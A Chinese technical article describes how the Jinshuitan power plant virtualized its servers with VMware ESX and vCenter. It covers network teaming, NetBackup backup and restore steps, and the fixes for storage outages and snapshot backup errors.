虚拟机文件系统VMware VMFS,允许多个ESX Server安装,并同时访问同一虚拟机存储,是一种高性能的群集文件系统,支持通过VMware vCenter、VMware VMotionTM技术、VMware DRS和VMware HA提供的基于虚拟化的分布式基础结构服务。由于VMware的虚拟架构系统中的虚拟机实际上是被封装成了一个档案文件和若干相关环境配置文件,通过将这些文件放在SAN存储阵列上的VMFS文件系统中,可以让不同服务器上的虚拟机都可以访问到该文件。利用这个特点,可以消除应用系统的单点故障。

2 服务器虚拟系统架构

紧水滩电厂服务器VMware虚拟平台的硬件采用了3台IBM X3850 M2服务器,选用VMware Enterprise Plus作为虚拟管理软件,配置8个CPU软件许可,1个管理控制端,还配置了1台Virtual Center服务器,操作系统为Windows 2003,以更好地管理和监控服务器虚拟架构。数据存储采用集中网络存储方式,将各虚拟机的文件系统分别创建在IBM DS4300存储阵列上。紧水滩电厂服务器VMware虚拟系统架构如图1所示。

根据虚拟环境网卡输入输出的要求,主机采用多块网卡的配置,X3850服务器主板自带一块双口网卡,即有2个网络控制口(Network Interface Controller,NIC),增加一块有4个控制口的网卡。2块网卡上的2个NIC口提供VMware的管理以及vMotion迁移服务,剩余的4个端口可以随着生产需要进行不同组合的Teaming和VLAN的划分。高带宽要求时,把网卡绑定后进行load balance的设定;高可用性要求时,利用VMware Native Teaming中的Failover机制来保证网络的高可用性。在不需要用到4个控制口时,可以用2个控制口的Teaming来保证业务的连续性。

3 系统实施方法

3.1 系统实施前期相关业务分析

在服务器虚拟化实施前,完成了现有23台应用服务器的性能分析,收集了相关PC服务器的配置、CPU使用率、内存利用率、硬盘使用空间和I/O吞吐率等方面的信息,确定了以下服务器作为虚拟化整合实施范围和整合对象:(1)系统资源消耗低,在线用户数量少,对硬件资源要求不高的服务器;(2)在线使用年限长,已过了设备保修期的服务器;(3)部分系统稳定性差的PC服务器。

通过对设备使用年限、性能与负载、存储使用要求等方面的综合考虑,确定防病毒系统、邮件系统备份、教育培训系统、员工考勤系统、标准管理系统备份及运行管理系统备份为紧水滩电厂首次迁移的系统。

3.2 系统部署

在服务器上架安装后,VMware完成了3台ESX Server的安装配置。由于Virtual Center负责管理3台ESX Server,并实现集群等高级功能,因此在一台实体机上安装了Virtual Center,并完成了集群的创建与配置,最后通过VI Client登录,完成了虚拟机的创建。经过软件基本功能、可用性和可管理性等方面测试后,紧水滩电厂将业务系统的应用从物理主机迁移VMware虚拟机平台上。

3.3 系统备份与恢复

为确保系统的可靠性,在应用迁移完成后,考虑对虚拟机系统进行备份。紧水滩电厂现有备份软件为VERITAS NETBACKUP 7.0,可支持直接备份Vmware虚拟主机。在所有要实现备份的虚拟机上安装VMware Tools软件,并在Virtual Center服务器安装NetBackup Client软件,通过配置,实现了虚拟机系统的备份。

如应用系统虚拟机出现故障,可通过Veritas NBU备份恢复虚拟机。操作步骤如下:

1)登录NetBackup管理员控制台,选择File中的“Backuup,Archive,and Restore”菜单;

2)进入“Backuup,Archive,and Restore”窗口中,选择File-〉Select Files and Folders to Restore->from Virtual Machine Backup;

3)在“Backuup,Archive,and Restore”窗口中,选择File-〉Specify NetBackup Machines and Policy Type;

4)在“Specify NetBackup Machines and Policy Type”窗口中选择需要恢复的VM虚拟机的策略名;

5)在查询出虚拟机的窗口中选择需要恢复的虚拟机,然后选择菜单中的Actions-〉Restore进行虚拟机恢复操作;

6)在虚拟机恢复的菜单中,不要选择覆盖恢复(Original Location),建议变更目录(Alternate Location)进行虚拟机恢复操作;

7)在虚拟机恢复的菜单中,选择Vcenter名称、ESX服务器、资源组名称、VM显示的名字、资源池、存储位置以及数据恢复线路,勾选“overwrite the existing virtual machine”覆盖原有的虚拟机;

8)在虚拟机恢复的菜单中,选择“Run Pre-Recovery Check”恢复之前的参数检测,检测通过后“Start Recovery”按键显示出来,然后点击进行最后的恢复操作。

4 常见问题及解决方法

为保证虚拟化服务器的正常运行,要及时对运行中的故障进行分析,认真总结每次的解决经验。

4.1 存储故障

紧水滩电厂的服务器虚拟架构自上线运行以来,曾发现运行在VMware ESX主机上的应用系统突然出现数据访问中断现象,且挂载在虚拟机上的磁盘存储空间数据无法访问。经检查发现为数据存储盘丢失。

通过分析发现,导致VMware ESX主机与存储之间通信中断的原因主要有:存储光纤口故障,出现物理上的连接不通;VMware ESX VC控制台与VMware ESX主机之间通信有问题,硬件锁定或僵尸状态。具体表现为:服务器控制台假死挂起或运行控制台速度相当慢,在做rescan storage存储时可以看到存储,但不能正常使用;无法正常添加存储硬盘空间。

4.1.1 故障排查

对照原因,相关技术人员进行了排查,排查过程如下。

1)检查服务器光纤卡状态、DS4300存储状态均为正常。重新在VMware ESX VC控制台上扫描存储,发现扫描速度非常慢,而且扫描结果显示存储状态不可用,且在添加存储选项中也提示为不可用状态,但在存储选项中存储的LUN映射正常。

2)重新启动VMware ESX服务器。

3)检查服务器日志也无报错信息。

4.1.2 故障处理措施

1)重新插拔有问题的VMware ESX主机服务器对应光纤。

2)在VMware ESX VC控制台主机上重新启动VMware Virtual虚拟中心服务器及虚拟中心管理VMware WebServices。

3)在VMware ESX VirtualCenter控制台主机上重新扫描存储。

4.2 备份任务执行时出错

1)在一台虚拟机备份过程中,Net Backup上报156号错误。故障分析及排除过程如下:(1)查看系统日志,日志上报“snpshot creation failed”,通过查询Symantec NetBackup for VMware指南,分析可能原因为虚拟机的快照已处于活动状态;(2)在虚拟机上手工删除当前快照,然后使用NetBackup来重新启动备份,任务执行正常。

2)邮件系统虚拟机在备份时,无法完成自身快照的创建。故障分析及排除过程如下:(1)通过查看VMware配置手册,分析原因为在VMware ESX主机安装时,数据存储块选择默认设置1 MB,导致大于200 G虚拟机文件系统无法完成快照的创建;(2)将VMware ESX主机上的虚拟机迁移,重新安装VMware ESX,调整数据存储块大小。

5 结语

经过近2年多时间的运行,验证了业务系统在虚拟机上运行正常。虚拟化的实施使得服务器硬件资源得以最大化的利用,有效节约了服务器硬件,减少了机柜、电源等资源的消耗,支持了信息机房低碳化运行。同时,VMware虚拟化技术提供的硬件集群保护技术,消除了原有业务系统的单点硬件故障,进一步提升了信息系统的运行可靠性,为电厂的信息化业务开展提供强有力的支撑和保障。

参考文献

[1]虚拟化与云计算小组.虚拟化与云计算[M].北京:电子工业出版社,2009.

[2]降云.VMware vSphere4操作系统搭建配置入门与实战[M].北京:中国水利水电出版社,2011.

[3]王春海.VMware Workstation与ESX Server典型应用指南[M].北京:中国铁道出版社,2011.

[4]RUEST D.虚拟化技术指南[M].北京:机械工业出版社,2011.

相关文章
创新公共服务范文

创新公共服务范文

创新公共服务范文(精选12篇)创新公共服务 第1篇科学技术是第一生产力,科技公共服务平台对国家或区域的技术创新具有巨大的推动作用。科技...

3
2025-10-24
匆匆中学生读后有感

匆匆中学生读后有感

匆匆中学生读后有感(精选9篇)匆匆中学生读后有感 第1篇匆匆读后感500字_读《匆匆》有感当细细地品读完一本名著后,大家心中一定有不少感...

1
2025-10-24
草莓教学范文

草莓教学范文

草莓教学范文(精选17篇)草莓教学 第1篇“风儿轻轻吹,彩蝶翩翩飞,有位小姑娘上山摘草莓,一串串哟红草莓,好像……”优美的歌词,动听...

3
2025-10-24
仓储类课程范文

仓储类课程范文

仓储类课程范文(精选7篇)仓储类课程 第1篇物流产业是复合型产业,发达的物流能加速传统运输、仓储和零售等行业向现代物流服务领域延伸。...

1
2025-10-24
创造性批评:解说与解读

创造性批评:解说与解读

创造性批评:解说与解读(精选8篇)创造性批评:解说与解读 第1篇创造性批评:解说与解读作为诗性文化重要组成部分的审美批评,同文学艺术实践...

2
2025-10-24
初二地理试卷分析

初二地理试卷分析

初二地理试卷分析(精选6篇)初二地理试卷分析 第1篇莲山 课件 w ww.5 YK J.COM 4 初二地理试卷分析二、试题所体现的新课程理念和...

3
2025-10-24
常州市河海中学文明班小结

常州市河海中学文明班小结

常州市河海中学文明班小结(精选2篇)常州市河海中学文明班小结 第1篇常州市河海中学2008~2009学年第一学期 八(1)班创 文 明 班 ...

2
2025-10-24
财务负责人身份证明

财务负责人身份证明

财务负责人身份证明(精选14篇)财务负责人身份证明 第1篇财务负责人身份证明及签字样本兹证明为我公司财务负责人。特此证明。身份证复印...

1
2025-10-24
付费阅读
确认删除?
回到顶部